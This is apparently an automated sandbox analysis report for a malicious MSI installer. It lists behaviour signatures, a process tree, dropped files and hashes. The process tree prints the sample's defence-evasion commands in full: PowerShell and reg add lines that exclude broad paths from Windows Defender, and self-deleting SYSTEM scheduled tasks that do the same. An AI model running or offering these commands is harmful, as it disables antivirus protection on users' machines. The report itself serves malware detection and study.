Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    01/08/2026, 01:12

General

  • Target
    install_c0rd004.msi
  • Size 8.6MB
  • Sample260801-bkpy6abd33
  • SHA256 c52f674d5d23a90252930412365aa48cbd4a0ced2bc653cdef60588c733c2e3f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 10 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Badlisted process makes network request 6 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 11 IoCs
  • Drops file in Windows directory 13 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Executes a command shell one-liner 1 TTPs 5 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 22 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_c0rd004.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:3264
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5416
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1708
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding F825159ED89DDF19F0AB25E2945457CE E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Badlisted process makes network request
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:3372
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious use of AdjustPrivilegeToken
    PID:4332
  • C:\Users\Public\6mGubb\s5Jln7.exe
    "C:\Users\Public\6mGubb\s5Jln7.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3492
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:5988
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\6mGubb\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:4136
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\6mGubb\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2252
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:5524
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:1444
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:2092
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4972
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:2304
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:6132
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:4288
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4840
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:3112
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:4664
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:460
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:3940
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:1436
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:2060
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:3184
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:4320
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:2564
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:2616
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\6mGubb" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:1860
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\6mGubb" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:5956
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:1720
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:4608
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:5044
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1344
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5152
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:248
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4488
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1312
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:2020

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

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                              Downloads

                              e594afa.rbs

                              • Path C:\Config.Msi\e594afa.rbs
                              • Size 7KB
                              • SHA256 bf5944e47432c7346bf724f71dfbbef2e0a62b4c73e410a578dfe4c9a60df5f7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\6mGubb\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 66575ed959440468c6c3e0b6a6b4bb067fb056c21b31e3415ca5bbb4424f30c8
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\6mGubb\adoresd.dat
                              • Size 4.7MB
                              • SHA256 f81bfdcfc880fcf3716646c829ddfbd79b3d317759461c73bca0ee26361f9903
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\6mGubb\msadox.tb
                              • Size 8KB
                              • SHA256 94bd1c380dfa5096582dfafb8ae32f06cc0f66169e59f5eff4633dd990138422
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              s5Jln7.exe

                              • Path C:\Users\Public\6mGubb\s5Jln7.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              MSI526D.tmp

                              • Path C:\Windows\Installer\MSI526D.tmp
                              • Size 8.5MB
                              • SHA256 1220a95f82c6f700b9ddf4571af4acd2169ab87bb97e7e5a664eeba1cb89d353
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              e594af9.msi

                              • Path C:\Windows\Installer\e594af9.msi
                              • Size 8.6MB
                              • SHA256 c52f674d5d23a90252930412365aa48cbd4a0ced2bc653cdef60588c733c2e3f
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              metadata-2

                              • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
                              • Size 26.1MB
                              • SHA256 08140cf5f9ccdab7956618851af86b8cf763c9dafcc28bb36a9a347fe03a6f58
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              {2f86f5a7-f7a5-488c-a65d-5911fff7b590}_OnDiskSnapshotProp

                              • Path \??\Volume{c61f8367-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{2f86f5a7-f7a5-488c-a65d-5911fff7b590}_OnDiskSnapshotProp
                              • Size 6KB
                              • SHA256 c9dd575da2c10a46c8fff680cf360d8c2a2559226812f0023c9532a5c375abd3
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/3372-14-0x00007FFE3BF10000-0x00007FFE3BF12000-memory.dmp

                              memory/3372-46-0x00007FFE24460000-0x00007FFE24472000-memory.dmp

                              memory/3372-18-0x00007FFE24460000-0x00007FFE24472000-memory.dmp

                              memory/3372-15-0x00007FFE184B0000-0x00007FFE18B02000-memory.dmp

                              memory/3492-68-0x00007FFE3BF20000-0x00007FFE3BF22000-memory.dmp

                              memory/3492-89-0x000001AC89570000-0x000001AC895FA000-memory.dmp

                              memory/3492-66-0x000001AC88CD0000-0x000001AC89561000-memory.dmp

                              memory/3492-60-0x00007FFE3BF10000-0x00007FFE3BF12000-memory.dmp

                              memory/3492-69-0x000001AC88CD0000-0x000001AC89561000-memory.dmp

                              memory/3492-73-0x000001AC88CD0000-0x000001AC89561000-memory.dmp

                              memory/3492-74-0x000001AC88CD0000-0x000001AC89561000-memory.dmp

                              memory/3492-75-0x000001AC88CD0000-0x000001AC89561000-memory.dmp

                              memory/3492-76-0x000001AC88CD0000-0x000001AC89561000-memory.dmp

                              memory/3492-80-0x000001AC88CD0000-0x000001AC89561000-memory.dmp

                              memory/3492-86-0x000001AC88210000-0x000001AC8825E000-memory.dmp

                              memory/3492-61-0x00007FFE185F0000-0x00007FFE18B0E000-memory.dmp

                              memory/3492-91-0x000001AC89570000-0x000001AC895FA000-memory.dmp

                              memory/3492-87-0x000001AC89570000-0x000001AC895FA000-memory.dmp

                              memory/3492-88-0x000001AC89570000-0x000001AC895FA000-memory.dmp

                              memory/3492-93-0x000001AC88CD0000-0x000001AC89561000-memory.dmp

                              memory/3492-95-0x000001AC88CD0000-0x000001AC89561000-memory.dmp

                              memory/3492-96-0x000001AC88CD0000-0x000001AC89561000-memory.dmp

                              memory/5988-102-0x0000024544890000-0x00000245448B2000-memory.dmp

                              memory/5988-105-0x00000245447F0000-0x000002454480E000-memory.dmp

                              memory/5988-106-0x0000024544AC0000-0x0000024544B72000-memory.dmp

                              memory/5988-107-0x0000024544810000-0x000002454481A000-memory.dmp